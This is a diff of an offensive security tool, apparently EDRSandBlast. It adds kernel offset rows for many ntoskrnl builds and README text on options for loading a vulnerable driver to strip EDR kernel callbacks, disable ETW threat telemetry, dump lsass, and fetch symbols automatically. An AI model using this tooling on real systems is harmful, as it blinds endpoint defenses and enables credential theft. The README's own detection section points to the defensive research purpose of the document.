+ntoskrnl_22000-348.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8 +ntoskrnl_22000-376.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8 +ntoskrnl_22000-434.exe,cf5dc0,cf61c0,cf5fc0,87a,c163b8,20,60,d06890,d068c0,c8 +ntoskrnl_22000-438.exe,cf5e00,cf6200,cf6000,87a,c16398,20,60,d06890,d068c0,c8 +ntoskrnl_22000-493.exe,cf6140,cf6340,cf5f40,87a,c15d58,20,60,d06890,d068c0,c8 +ntoskrnl_22000-469.exe,cf6140,cf6340,cf5f40,87a,c15d38,20,60,d06890,d068c0,c8 +ntoskrnl_22000-527.exe,cf6300,cf5f00,cf6100,87a,c15d58,20,60,d06890,d068c0,c8 +ntoskrnl_22000-556.exe,cf62c0,cf5ec0,cf60c0,87a,c15d78,20,60,d06890,d068c0,c8 +ntoskrnl_22000-593.exe,cf63c0,cf61c0,cf5fc0,87a,c15d78,20,60,d06890,d068c0,c8 +ntoskrnl_22000-613.exe,cf6340,cf6140,cf5f40,87a,c15d78,20,60,d06890,d068c0,c8 +ntoskrnl_22000-652.exe,cf62c0,cf60c0,cf5ec0,87a,c163d8,20,60,d06890,d068c0,c8 +ntoskrnl_22000-675.exe,cf6300,cf6100,cf5f00,87a,c163d8,20,60,d06890,d068c0,c8 +ntoskrnl_22000-739.exe,cf62c0,cf60c0,cf5ec0,87a,c163c0,20,60,d06890,d068c0,c8 +ntoskrnl_22000-778.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8 +ntoskrnl_22000-795.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8 +ntoskrnl_22000-832.exe,cf6380,cf6180,cf5f80,87a,c163a8,20,60,d06890,d068c0,c8 +ntoskrnl_7601-25740.exe,21c500,21c2e0,21c0c0,0,0,20,50,29e020,29e050,c0 +ntoskrnl_9600-17031.exe,2e1a40,2e1840,2e1640,67a,0,10,50,354020,354048,c8 +ntoskrnl_9600-19321.exe,2dcb10,2dc910,2dc710,67a,0,20,50,34f030,34f048,c8 +ntoskrnl_9600-19376.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8 +ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8 +ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8 +ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80 +ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228 diff --git a/README.md b/README.md index 99bdfe8..f362931 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,7 @@ searches is justified by the fact that the undocumented APIs responsible for Kernel callbacks addition / removal are subject to change and that any attempt to write Kernel memory at the wrong address may (and often will) result in a `Bug Check` (`Blue Screen of Death`). For more information on how the offsets -were gathered, refer to [Offsets section](Offsets). +were gathered (and how to update them), refer to [Offsets section](Offsets). ### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider @@ -399,12 +399,12 @@ Actions mode: Other options: ---dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host +--dont-unload-driver Keep the vulnerable driver installed on the host Default to automatically unsinstall the driver. --dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed. Default to restore the callbacks. ---driver Path to the Micro-Star MSI Afterburner vulnerable driver file. +--driver Path to the vulnerable driver file. Default to 'RTCore64.sys' in the current directory. --service Name of the vulnerable service to intall / start. @@ -423,6 +423,11 @@ Other options: -o | --output Output path to the dump file that will be generated by the 'dump' mode. Default to 'lsass' in the current directory. + +-i | --internet Enables automatic symbols download from Microsoft Symbol Server + If a corresponding *Offsets.csv file exists, appends the downloaded offsets to the file for later use + OpSec warning: downloads and drops on disk a PDB file for ntoskrnl.exe and/or wdigest.dll + ``` ### Build @@ -456,6 +461,10 @@ optional arguments: -d, --dowload Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com. ``` +### Automatic offsets retrieval and update +An additionnal option has been implemented in `EDRSandBlast` to allow the program to download the needed `.pdb` files itself from Microsoft Symbol Server, extract the required offsets, and even update the corresponding `.csv` files if present. +Using the `--internet` option make the tool execution much simpler, while introducing an additionnal OpSec risk, since a `.pdb` file is downloaded and dropped on disk during the process. This is required by the `dbghelp.dll` functions used to parse the symbols database ; however, full in-memory PDB parsing might be implemented in the future to lift this requierement and reduce the tool's footprint. + ## Detection From the defender (EDR vendor, Microsoft, SOC analysts looking at EDR's telemetry, ...) point of view, multiple indicators can be used to detect or prevent this kind of techniques.